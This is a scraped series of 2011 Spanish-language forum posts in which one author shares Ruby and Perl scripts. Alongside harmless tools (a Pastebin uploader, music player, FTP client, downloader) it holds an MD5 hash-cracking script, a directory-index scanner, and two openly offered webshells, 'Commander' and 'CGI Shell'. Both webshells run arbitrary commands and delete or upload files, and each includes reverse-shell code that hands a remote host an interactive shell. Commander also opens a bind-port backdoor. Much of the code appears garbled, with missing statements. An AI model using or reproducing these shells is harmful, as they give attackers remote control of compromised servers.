|
451
|
Programación / Scripting / [Ruby] PassChecker
|
en: 16 Octubre 2011, 02:50 am
|
Un simple programa para crackear hashes md5 #!usr/bin/ruby #PassChecker (C) Doddy Hackman 2011 require 'net/http' def toma(web) return Net::HTTP.get_response(URI.parse(web)).body end def uso() print "\n[+] pass.rb <hash>\n" end def head() print "\n\n -- == PassChecker == --\n\n\n" end def copyright() print "\n\n\n(C) Doddy Hackman 2011\n\n" exit(1) end def crack(hash) if hash.length == 32 print "\n[+] Cracking hash #{hash}\n\n" begin code = toma("http://victorov.su/md5/?md5e=&md5d="+hash) if code=~/MD5 ðàñøèôðîâàí: <b>(.*)<\/b>/ print "\n[+] Hash : "+$1+"\n" else print "\n[-] Pass not crack\n" end rescue print "\n[-] Page offline\n" end else print "\n[-] Dont Hash\n\n" end end head() if !ARGV[0] uso() else crack(ARGV[0]) end copyright()
|
|
|
452
|
Programación / Scripting / [Ruby] PasteBin Uploader
|
en: 16 Octubre 2011, 02:50 am
|
Un simple programa para subir codigos a pastebin #!usr/bin/ruby #PasteBin Uploader (C) Doddy Hackman 2011 require "net/http" def head() print "\n\n-- == PasteBin Uploader\n\n\n" end def copyright() print "\n\n(C) Doddy Hackman 2011\n\n" exit(1) end def uso() print "\n[+] up.rb <file> <titulo> <tipo>\n" end def tomar(web,par) return Net::HTTP.post_form(URI.parse(web),par).body end def subir(file,titulo,tipo) begin archivo = File.open(file) lineas = archivo.readlines rescue print "\n[-] Error open file\n" end print "[+] Uploading file\n\n" code = tomar("http://pastebin.com/api_public.php",{"paste_code" =>lineas,"paste_name"=>titulo,"paste_format"=>tipo,"paste_expire_date"=>"N","paste_private"=>"public","submit"=>"submit"}) if code=~/Bad API request/ print "[-] Error uploading\n" else print "[+] Enjoy : "+code+"\n" end end file = ARGV[0] titulo = ARGV[1] tipo = ARGV[2] head() if !file and !titulo and !tipo uso() else subir(file,titulo,tipo) end copyright() # ¿ The End ?
|
|
|
453
|
Programación / Scripting / [Ruby] Proxy Tester
|
en: 16 Octubre 2011, 02:49 am
|
Un simple programa para testear proxies #!usr/bin/ruby #ProxyTester (C) Doddy Hackman 2011 require 'net/http' def uso print "\n[+] proxy.rb <file>\n" end def head() print "\n\n -- == Proxy Tester == --\n\n" end def copyright() print "\n\n(C) Doddy Hackman 2011\n\n" exit(1) end def testar(tengo) if tengo=~/(.*):(.*)/ host = $1 port = $2 begin new = Net::HTTP.new(proxy=host,proxy_port=port) code = new.get("http://127.0.0.1/sql.php")#http://www.petardas.com case code when Net::HTTPSuccess print "[Proxy Found] : #{host}:#{port}\n" end rescue end end end head() if !ARGV[0] uso() else archivo = File.open(ARGV[0]) print "\n[+] Scanning file\n\n\n" lineas = archivo.readlines lineas.each { |linea| linea = linea.chomp testar(linea) #funcion } archivo.close copyright() end copyright() # ¿ The End ?
|
|
|
454
|
Programación / Scripting / [Perl] Commander
|
en: 14 Octubre 2011, 15:28 pm
|
Bueno este programa es un webserver en perl con la siguientes opciones * Listar directorios * Ver archivos * Borrar directorios y archivos * ReverseShell * BindPort #!usr/bin/perl # #C0mmand3r (C) Doddy HAckman 2011 #Version 0.1 # #A simple WebShell in Perl # # use IO::Socket; use CGI; use Cwd; use HTML::Entities; use URI::Escape; use Win32; use Net::hostent; my $port = rep(); sub rep { unless($ARGV[0]) { } else { } } print "\n\n#########################################\n\n"; print "C0mmand3r (C) Doddy HAckman 2011\n\n\n"; print "[+] Starting the webshell on port $port\n\n"; print "#########################################\n\n"; my $sock = new IO::Socket::INET( LocalHost => 'localhost', LocalPort => $port, Proto => 'tcp', Listen => SOMAXCONN, Reuse => 1); while ($jebus = $sock->accept()) { print $jebus "HTTP/1.1 200/OK\r\nContent-type:text/html\r\n\r\n"; #print $jebus "HTTP/1.1 200/OK\r\nContent-type:application/w-www-form-urlencoded\r\n\r\n"; next if $slave=fork; close $sock; while ($response = <$jebus>) { chomp($response); my %rta; if ($response=~/GET/ig) { capturar($response); } sub capturar { my $aa = shift; chomp $aa; if ($aa=~/GET \/(.*) HTTP\/1.1/ig) { my $todo = $1; if ($todo=~/\?(.*)=(.*)&(.*)=(.*)/ig) { $rta{$1} = $2; $rta{$3} = $4; } if ($todo=~/\?(.*)=(.*)/ig) { $rta{$1} = $2; } } } print $jebus " <html><body><title>Commander (C) Doddy Hackman 2011</title> <style type=text/css> .main { margin : -287px 0px 0px -490px; border : White solid 1px; BORDER-COLOR: cyan; } #pie { position: absolute; bottom: 0; } body,a:link { background-color: #000000; color:cyan; Courier New; cursor:crosshair; font-size: small; } input,table.outset,table.bord,table,textarea,select { font: normal 10px Verdana, Arial, Helvetica, sans-serif; background-color:black;color:cyan; border: solid 1px cyan; border-color:cyan } a:link,a:visited,a:active { color: cyan; font: normal 10px Verdana, Arial, Helvetica, sans-serif; text-decoration: none; } </style> <h2><center>Commander WebShell</center></h2> "; if ($rta{'loadfile'}) { my $file = uri_unescape($rta{'loadfile'}); print $jebus "<br><h2><center>File ".$file."</h2></center><br><br>"; if (-f $file) { print $jebus "<center><textarea name=codefile cols=70 rows=70>"; open (FILE,$file); @words = <FILE>; close FILE; for (@words) { print $jebus HTML::Entities::encode($_); } print $jebus " </textarea></center> </center><br><br> </form> "; exit(1); } } print $jebus " <br><br> <b>Console</b> <br><br> <fieldset>"; if ($rta{'cmd'}) { print $jebus qx($rta{'cmd'}); } elsif ($rta{'loadir'}) { my $dir = uri_unescape($rta{'loadir'}); print "recibi $dir\n\n"; if (-d $dir) { opendir DIR,$dir; my @archivos = readdir DIR; close DIR; for(@archivos) { if (-d $_) { print $jebus "<b>".$_."</b><br>"; } else { print $jebus $_."<br>"; }}}} elsif ($rta{'delfile'}) { my $file = uri_unescape($rta{'delfile'}); if (-f $file) { if (unlink($file)) { print $jebus "<script>alert('File Deleted');</script>"; } else { print $jebus "<script>alert('Error');</script>"; } } } elsif ($rta{'deldir'}) { my $dir = uri_unescape($rta{'deldir'}); if (-d $dir) { if (rmdir($dir)) { print $jebus "<script>alert('Directory Deleted');</script>"; } else { print $jebus "<script>alert('Error');</script>"; } } } elsif ($rta{'ipconnect'}) { print $rta{'ipconnect'}."\n"; print $rta{'port'}."\n"; conectar($rta{'ipconnect'},$rta{'port'}); tipo(); sub conectar { socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp")); connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0]))); open (STDIN,">&REVERSE"); open (STDOUT,">&REVERSE"); open (STDERR,">&REVERSE"); } sub tipo { print "\n[*] Reverse Shell Starting...\n\n"; if ($^O =~/Win32/ig) { infowin(); system("cmd.exe"); } else { infolinux(); #root(); system("export TERM=xterm;exec sh -i"); } } sub infowin { print "[+] Domain Name : ".Win32::DomainName()."\n"; print "[+] OS Version : ".Win32::GetOSName()."\n"; print "[+] Username : ".Win32::LoginName()."\n\n\n"; } sub infolinux { print "[+] System information\n\n"; system("uname -a"); print "\n\n"; } } elsif($rta{'portbind'}) { $backdoor = IO::Socket::INET->new( Proto => 'tcp', LocalPort => $rta{'portbind'}, Listen => SOMAXC, Reuse => 1); while ($jesus = $backdoor->accept()) { $jesus->autoflush(1); print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n"; print $jesus "Welcome ".$jesus->peerhost."\n\n"; &extras; $dir = getcwd(); print $jesus $dir.">>"; while (<$jesus>) { my $yeah = qx($_); print $jesus "\n\n".$yeah."\n\n"; print $jesus $dir.">>"; } } sub extras { if ($^O =~//ig) { print $jesus "[+] Domain Name : ".Win32::DomainName()."\n"; print $jesus "[+] OS Version : ".Win32::GetOSName()."\n"; print $jesus "[+] Username : ".Win32::LoginName()."\n\n\n"; } else { $s = qx("uname -a"); print $jesus "--==System Info==--\n\n".$s; } } } else { opendir DIR,getcwd(); my @archivos = readdir DIR; close DIR; for(@archivos) { if (-d $_) { print $jebus "<b>".$_."</b><br>"; } else { print $jebus $_."<br>"; }} } print $jebus "</fieldset> <br><br> <form action='' method=GET> <b>Command</b> : <input type=text name=cmd size=100 value=ver><input type=submit value=Send><br> </form> <form action='' method=GET> <B>Load directory</B> : <input type=text size=100 name=loadir value=".getcwd()."><input type=submit value=Load> </form> <form action='' method=GET> <b>Load File</b> : <input type=text size=100 name=loadfile value=".getcwd()."><input type=submit value=Load> </form> <form action='' method=GET> <b>Delete File</b> : <input type=text size=100 name=delfile value=".getcwd()."><input type=submit value=Del> </form> <form action='' method=GET> <b>Delete Directory</b> : <input type=text size=100 name=deldir><input type=submit value=Del> </form> <br><br><b>ReverseShell</b><br><br> <form action='' method=GET> <b>Your IP</B> : <input type=text name=ipconnect value=localhost><br> <b>Port</b> : <input type=text name=port value=666><br> <br><input type=submit value=Connect></form><br><br> <b>BindPort</b><br><br> <form action='' method=GET> <b>Port</b> : <input type=text name=portbind value=666><br> <br><input type=submit value=Bind></form><br><br> </body></html> "; $jebus->close; } } continue { $jebus->close; } # ¿ The End ?
|
|
|
455
|
Programación / Scripting / [Perl] CGI Shell
|
en: 14 Octubre 2011, 15:27 pm
|
Hola a todos Hoy eh terminado de hacer un shell en cgi , estas shells se usan en las paginas que pemiten ejecutar archivos cgi y tienen el directorio cgi-bin Esta shell tiene las sig opciones * Listar directorios * Ver y editar archivos * Eliminar archivos y directorios * ReverseShell * Subir archivos a un directorio especificado * Ejecutar comandos * Enviar mails #!"\xampp\perl\bin\perl.exe" # #CGI Shell 0.1 # #(C) Doddy Hackman 2011 # # use CGI; use Cwd; use HTML::Entities; use Net::SMTP; my %rta; my $que = new CGI; my @ques = $que->param; for(@ques) { $rta{$_} = $que->param($_); } print "Content-type:text/html\n\n"; <style type=text/css> .main { margin : -287px 0px 0px -490px; border : White solid 1px; BORDER-COLOR: #00FF00; } #pie { position: absolute; bottom: 0; } body,a:link { background-color: #000000; color:#00FF00; Courier New; cursor:crosshair; font-size: small; } input,table.outset,table.bord,table,textarea,select { font: normal 10px Verdana, Arial, Helvetica, sans-serif; background-color:black;color:#00FF00; border: solid 1px #00FF00; border-color:#00FF00 } a:link,a:visited,a:active { color: #00FF00; font: normal 10px Verdana, Arial, Helvetica, sans-serif; text-decoration: none; } </style> <title>CGI Shell (C) Doddy Hackman 2011</title> <h2><center>CGI Shell</center></h2> "; if ($rta{'filex'}) { open FILE ,">>".$rta{'todir'}."/".$rta{'filex'}; while($bytes = read($rta{'filex'},$todo, 1024)) { } print "<script>alert('File Uploaded');</script>"; } if ($rta{'codefile'}) { open (FILE ,">>".$rta{'filecode'}); print FILE $rta{'codefile'}."\n"; print "<script>alert('File Changed');</script>"; } if ($rta{'loadfile'}) { print "<form action='' method=POST>"; print "<br><h2><center>File ".$rta{'loadfile'}."</h2></center><br><br>"; if (-f $rta{'loadfile'}) { print "<center><textarea name=codefile cols=70 rows=70>"; open (FILE ,$rta{'loadfile'}); @words = <FILE>; for (@words) { print HTML ::Entities::encode($_); } </textarea></center> <input type=hidden name=filecode value=".$rta{'loadfile'}."> <br><br><center><input type=submit value=Save></center><br><br> </form> "; } } <br><br> <b>Console</b> <br><br> <fieldset>"; if ($rta{'cmd'}) { } elsif ($rta{'mail'}) { my $send = Net ::SMTP->new("localhost",Hello => "localhost",Timeout =>10) or die("[-] Error"); $send->mail($rta{'mail'}); $send->to($rta{'to'}); $send->data(); $send->datasend("To:".$rta{'to'}."\n"."From:".$rta{'mail'}."\n"."Subject:".$rta{'subject'}."\n".$rta{'body'}."\n\n"); $send->dataend(); $send->quit(); } elsif ($rta{'loadir'}) { if (-d $rta{'loadir'}) { for(@archivos) { if (-d $_) { print "<b>".$_."</b><br>"; } else { }}}} elsif (-f $rta{'delfile'}) { if (unlink($rta{'delfile'})) { print "<script>alert('File Deleted');</script>"; } else { print "<script>alert('Error');</script>"; } } elsif (-d $rta{'deldir'}) { if (rmdir($rta{'deldir'})) { print "<script>alert('Directory Deleted');</script>"; } else { print "<script>alert('Error');</script>"; } } elsif ($rta{'ipconnect'}) { $code = ' #!usr/bin/perl #Reverse Shell 0.1 #By Doddy H use IO::Socket; print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n"; unless (@ARGV == 2) { print "[Sintax] : $0 <host> <port>\n\n"; exit(1); } else { print "[+] Starting the connection\n"; print "[+] Enter in the system\n"; print "[+] Enjoy !!!\n\n"; conectar($ARGV[0],$ARGV[1]); tipo(); } sub conectar { socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp")); connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0]))); open (STDIN,">&REVERSE"); open (STDOUT,">&REVERSE"); open (STDERR,">&REVERSE"); } sub tipo { print "\n[*] Reverse Shell Starting...\n\n"; if ($^O =~/Win32/ig) { infowin(); system("cmd.exe"); } else { infolinux(); #root(); system("export TERM=xterm;exec sh -i"); } } sub infowin { print "[+] Domain Name : ".Win32::DomainName()."\n"; print "[+] OS Version : ".Win32::GetOSName()."\n"; print "[+] Username : ".Win32::LoginName()."\n\n\n"; } sub infolinux { print "[+] System information\n\n"; system("uname -a"); print "\n\n"; } #The End '; if ($^O =~/Win32/ig) { open (FILE ,">>"."back.pl"); } else { open (FILE ,">>"."/tmp/back.pl"); chmod("/tmp/back.pl","777"); } if ($^O == "MSWin32") { system("back.pl ".$rta{'ipconnect'}." ".$rta{'port'}); } else { system("cd /tmp;back.pl ".$rta{'ipconnect'}." ".$rta{'port'}); } } else { for(@archivos) { if (-d $_) { print "<b>".$_."</b><br>"; } else { }} } <br><br> <form action='' method=GET> <b>Command</b> : <input type=text name=cmd size=100 value=ver><input type=submit value=Send><br> </form> <form action='' method=GET> <B>Load directory</B> : <input type=text size=100 name=loadir value=".getcwd()."><input type=submit value=Load> </form> <form action='' method=GET> <b>Load File</b> : <input type=text size=100 name=loadfile value=".getcwd()."><input type=submit value=Load> </form> <form action='' method=GET> <b>Delete File</b> : <input type=text size=100 name=delfile value=".getcwd()."><input type=submit value=Del> </form> <form action='' method=GET> <b>Delete Directory</b> : <input type=text size=100 name=deldir><input type=submit value=Del> </form> <form enctype='multipart/form-data' method=POST> <br><b>Upload File</b> : <input type=file name=filex><br><br> <b>To dir</b> : <input type=text name=todir value=".getcwd()."><br><br> <input type=submit value=Upload> </form> <br><B>Mailer</b><br><br> <form action='' method=GET> <b>Mail</b> : <input type=text name=mail><br> <b>To</b> : <input type=text name=to><br> <b>Subject</B> : <input type=text name=subject><br> <B>Body</B> : <input type=text name=body><br><br> <input type=submit value=Send> </form> <br><br><b>ReverseShell</b><br><br> <form action='' method=GET> <b>IP</B> : <input type=text name=ipconnect><br> <b>Port</B> : <input type=text name=port><br> <br><input type=submit value=Connect></form><br><br> "; # ¿ The End ?
|
|
|
456
|
Programación / Scripting / [Perl] DH Player
|
en: 14 Octubre 2011, 15:26 pm
|
Bueno , este es un simple reproductor de musica que hice en perl En esta version podran tener buscar musica y reproducirla todo en una ventana grosa #!usr/bin/perl #DH Player 0.1 #(C) Doddy Hackman 2011 use Tk; use Win32::MediaPlayer; if ($^O eq 'MSWin32') { use Win32::Console; Win32::Console::Free(); } $test = new Win32::MediaPlayer; $new = MainWindow->new(-background=>"black"); $new->geometry("350x420+20+20"); $new->resizable(0,0); $new->title("DH Player 0.1 (C) Doddy Hackman 2011"); $new->Label(-background =>"black",-foreground =>"green",-font =>"Impact",-text =>"Directory : ")->place(-x =>"20",-y=>"20"); my $dir = $new->Entry(-background =>"black",-foreground =>"green",-text =>"C:\\Users\\Daniel\\Desktop\\WarFactory\\Perl\\musica")->place(-x =>"100",-y=>"25"); $new->Button(-background =>"black",-foreground =>"green",-activebackground =>"green",-text =>"Search",-width =>"10",-command =>\&buscar)->place(-x =>"240",-y=>"25"); $new->Label(-background =>"black",-foreground =>"green",-text =>"Files Found",-font =>"Impact")->place(-y=>"95",-x =>"120"); my $lists = $new->Listbox(-background =>"black",-foreground =>"green")->place(-y=>"130",-x =>"100"); $new->Button(-background =>"black",-foreground =>"green",-text =>"Play",-width =>"55",-activebackground =>"green",-command =>\&play)->place(-y=>"310"); $new->Button(-background =>"black",-foreground =>"green",-text =>"Pause",-width =>"55",-activebackground =>"green",-command =>\&pause)->place(-y=>"333"); $new->Button(-background =>"black",-foreground =>"green",-text =>"Resume",-width =>"55",-activebackground =>"green",-command =>\&resume)->place(-y=>"356"); $new->Button(-background =>"black",-foreground =>"green",-text =>"Stop",-width =>"55",-activebackground =>"green",-command =>\&stop)->place(-y=>"379"); MainLoop; sub play { my $dir = $dir->get; $d = $lists->curselection(); for my $id (@$d) { my $cancion = $lists->get($id); $test->load($dir."\\".$cancion); $test->play; } } sub stop { $test->close; } sub pause { my $dir = $dir->get; $d = $lists->curselection(); for my $id (@$d) { my $cancion = $lists->get($id); $test->pause; } } sub resume { my $dir = $dir->get; $d = $lists->curselection(); for my $id (@$d) { my $cancion = $lists->get($id); $test->resume; } } sub buscar { $lists->delete(0.0,"end"); #$dir = "C:\\Users\\Daniel\\Desktop\\WarFactory\\Perl\\musica"; my $dir = $dir->get; foreach my $file(@archivos) { if (-f $dir."\\".$file) { $lists->insert("end",$file); } } } # ¿ The End ?
|
|
|
457
|
Programación / Scripting / [Perl] Finder Paths
|
en: 14 Octubre 2011, 15:25 pm
|
Hola hoy les traigo un programa para buscar los posibles directorios que no estan protegidos con index en una pagina #!usr/bin/perl #Finder Paths #(C) Doddy Hackman 2010 use WWW::Mechanize; use HTTP::Response; use URI ::Split qw(uri_split ); if ($^O =~/Win32 /ig ) { system("cls"); } else { system("clear"); } my $new = WWW::Mechanize->new(autocheck => 0); $new->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12"); &head; unless($ARGV[0]) { &menu; } else { print "[Page] : $ARGV[0]\n\n"; &scan($ARGV[0]); } &finish; sub menu { &scan($pa); } sub finish { print "\n\n\n\n(C) Doddy Hackman 2010\n\n"; <STDIN>; } sub scan { my @analizar; toma($_[0]); print "\n\n[Target confirmed] : $_[0]\n\n"; print "[Status] : Scanning\n"; @links = dame_link(); for my $junt(@links) { my $com = $junt->url(); my ($scheme, $auth, $path, $query, $frag) = uri_split($_[0]); if ($path=~/\/(.*)$/) { my $path1 = $1; my ($scheme, $auth, $path, $query, $frag) = uri_split($com); if ($path =~/(.*)\//) { $code = toma($_[0].$1); my $found = $1; if ($code=~/Index Of (.*)<\/title>/ig) { $ok = 1; print "\n[Link] : ".$_[0].$found."\a"; savefile("indexs-found.txt",$_[0].$found); }}}} if ($ok ne 1) { print "[Status] : Finish\n"; }} sub repes { foreach my $palabra ( @_ ) { next if $repety{ $palabra }++; } } sub toma { return $new->get($_[0])->content; } sub dame_link { return $new->find_all_links(); } sub savefile { open (SAVE ,">>logs/".$_[0]); } sub head { ########## ######### ######### ##### # ##### ### ### ### # # # ## # # # # # # # # # # # # # # # # # # # ## # # # # # # # # # # # # # # ### # # # # # # ### ### ### # # # ##### ## # # # # # # # # # # # ##### # # # # # # # ## # # # # # # # # # # # # # # ### ###### # ##### ######## # ### ### ### ### ### ### ### ); } #The end #Blog : doddy-hackman.blogspot.com #Mail : lepuke[at]hotmail[com]
|
|
|
458
|
Programación / Scripting / [Perl] FTP Manager
|
en: 14 Octubre 2011, 15:25 pm
|
Hoy eh terminado este simple cliente FTP el codigo es el siguiente #!usr/bin/perl #FTP Manager #(C) Doddy Hackman 2010 use Net::FTP; &head; print "\n\n[FTP Server] : "; chomp (my $ftp = <stdin>); chomp (my $user = <stdin>); chomp (my $pass = <stdin>); if (my $socket = Net::FTP->new($ftp)) { if ($socket->login($user,$pass)) { print "\n[+] Enter of the server FTP\n\n"; menu: chomp (my $cmd = <stdin>); if ($cmd=~/help/) { help : show information cd : change directory <dir> dir : list a directory mdkdir : create a directory <dir> pwd : directory rename : change name of the a file <file1> <file2> size : size of the a file <file> put : upload a file <file> get : download a file <file> cdup : change dir <dir> ); } if ($cmd=~/dir/ig) { if (my @files = $socket->dir()) { for(@files) { } } else { print "\n\n[-] Error\n\n"; } } if ($cmd=~/pwd/ig) { print "[+] Path : ".$socket->pwd()."\n"; } if ($cmd=~/cd (.*)/ig) { if ($socket->cwd($1)) { print "[+] Directory changed\n"; } else { print "\n\n[-] Error\n\n"; } } if ($cmd=~/cdup/ig) { if (my $dir = $socket->cdup()) { print "\n\n[+] Directory changed\n\n"; } else { print "\n\n[-] Error\n\n"; } } if ($cmd=~/del (.*)/ig) { if ($socket->delete($1)) { print "[+] File deleted\n"; } else { print "\n\n[-] Error\n\n"; } } if ($cmd=~/rename (.*) (.*)/ig ) { if ($socket->rename($1,$2)) { print "[+] File Updated\n"; } else { print "\n\n[-] Error\n\n"; } } if ($cmd=~/mkdir (.*)/ig ) { if ($socket->mkdir($1)) { print "\n\n[+] Directory created\n"; } else { print "\n\n[-] Error\n\n"; } } if ($cmd=~/rmdir (.*)/ig ) { if ($socket->rmdir($1)) { print "\n\n[+] Directory deleted\n"; } else { print "\n\n[-] Error\n\n"; } } copyright(); } if ($cmd=~/get (.*) (.*)/ig) { print "\n\n[+] Downloading file\n\n"; if ($socket->get($1,$2)) { print "[+] Download completed"; } else { print "\n\n[-] Error\n\n"; } } if ($cmd=~/put (.*) (.*)/ig) { print "\n\n[+] Uploading file\n\n"; if ($socket->put($1,$2)) { print "[+] Upload completed"; } else { print "\n\n[-] Error\n\n"; } } } else { print "\n\n[-] Failed the login\n\n"; } } else { print "\n\n[-] Error\n\n"; } sub head { print "\n\n -- == FTP Manager == --\n\n"; } sub copyright { print "\n\n(C) Doddy Hackman 2010\n\n"; } # ¿ The End ?
|
|
|
459
|
Programación / Scripting / [Perl] Funcion cambiar_fondo()
|
en: 13 Octubre 2011, 17:15 pm
|
Hola a todos Acabo de hacer un funcion usando las API de Windows para poder cambiar el fondo de escritorio con solo poner la ruta de la imagen #By Doddy H use Win32::API; sub cambiar_fondo { my $a = new Win32::API("user32","SystemParametersInfo", [L,L,P,L],L); $a->Call(20,0,$_[0],0); }
Ejemplo de uso cambiar_fondo("c:/Perl/img.bmp");
|
|
|
460
|
Programación / Scripting / [Perl] Funcion download()
|
en: 13 Octubre 2011, 17:14 pm
|
HOla aca les traigo una funcion para descargar archivos #!usr/bin/perl #Simple downloader in Perl #By Doddy H use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); $nave->timeout(5); sub download { if ($nave->mirror($_[0],$_[1])) { if (-f $_[1]) { }}}
Sintasis download(url a bajar,nombre de archivo con el que se guarda);
Ejemplo de uso if (download("http://127.0.0.1/bones.rar","bones.rar")) { print "[+] file downloaded\n"; }
|
|
|
|
|
|
|